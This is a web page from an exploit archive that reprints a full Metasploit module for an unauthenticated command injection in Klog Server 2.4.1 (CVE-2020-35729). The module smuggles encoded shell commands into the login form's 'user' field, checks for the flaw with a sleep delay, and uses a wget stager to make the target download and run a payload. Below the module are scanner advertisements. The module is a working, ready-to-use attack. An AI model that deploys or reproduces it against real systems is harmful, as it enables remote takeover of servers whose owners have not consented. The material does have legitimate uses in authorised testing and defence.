klog server 2.4.1 unauthenticated command injection (metasploit)

▸▸▸ Exploit & Vulnerability >>   webapps exploit & php vulnerability




klog server 2.4.1 unauthenticated command injection (metasploit) Code Code...
				
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, 'Name' => 'Klog Server Unauthenticated Command Injection Vulnerability', 'Description' => %q{ This module exploits an unauthenticated command injection vulnerability in Klog Server <= 2.4.1. "user" parameter is executed via shell_exec() function without input validation. }, 'License' => MSF_LICENSE, 'Author' => [ 'B3KC4T', # Vulnerability discovery 'Metin Yunus Kandemir', # Metasploit module ], 'References' => [ ['CVE', '2020-35729'], ['URL', 'https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection'] ], 'DefaultOptions' => { 'HttpClientTimeout' => 2, }, 'Platform' => [ 'unix', 'linux' ], 'Arch' => [ ARCH_X64 ], 'Targets' => [ ['Klog Server 2.4.1 (x64)', { 'Platform' => 'linux', 'Arch' => ARCH_X64, }], ], 'Privileged' => false, 'DisclosureDate' => "2021-01-05", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('TARGETURI', [true, 'The base path of the Klog Server', '/']), ] ) end def filter_bad_chars(cmd) cmd.gsub!(/chmod \+x/, 'chmod 777') cmd.gsub!(/;/, " %0A ") cmd.gsub!(/ /, '+') cmd.gsub!(/\//, '%2F') end def execute_command(cmd, opts = {}) command_payload = "unsafe+%22%26+#{filter_bad_chars(cmd)}%26%22" print_status("Sending stager payload...") uri = target_uri.path res= send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'actions', 'authenticate.php'), 'encode_params' => false, 'vars_post' => { 'user' => command_payload, 'pswd' => "inline" } }) if res && res.code == 302 print_error("The target is not vulnerable!") else print_good("The target is vulnerable!") end end def check uri = target_uri.path res= send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'actions', 'authenticate.php'), 'encode_params' => false, 'vars_post' => { 'user' => "unsafe+%22%26sleep+40%26%22", #checking blind command injection via sleep 'pswd' => "inline" } }) if res && res.code == 302 return Exploit::CheckCode::Safe else return Exploit::CheckCode::Vulnerable end end def exploit print_status("Exploiting...") execute_cmdstager(flavor: :wget, delay: 10) end end


Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.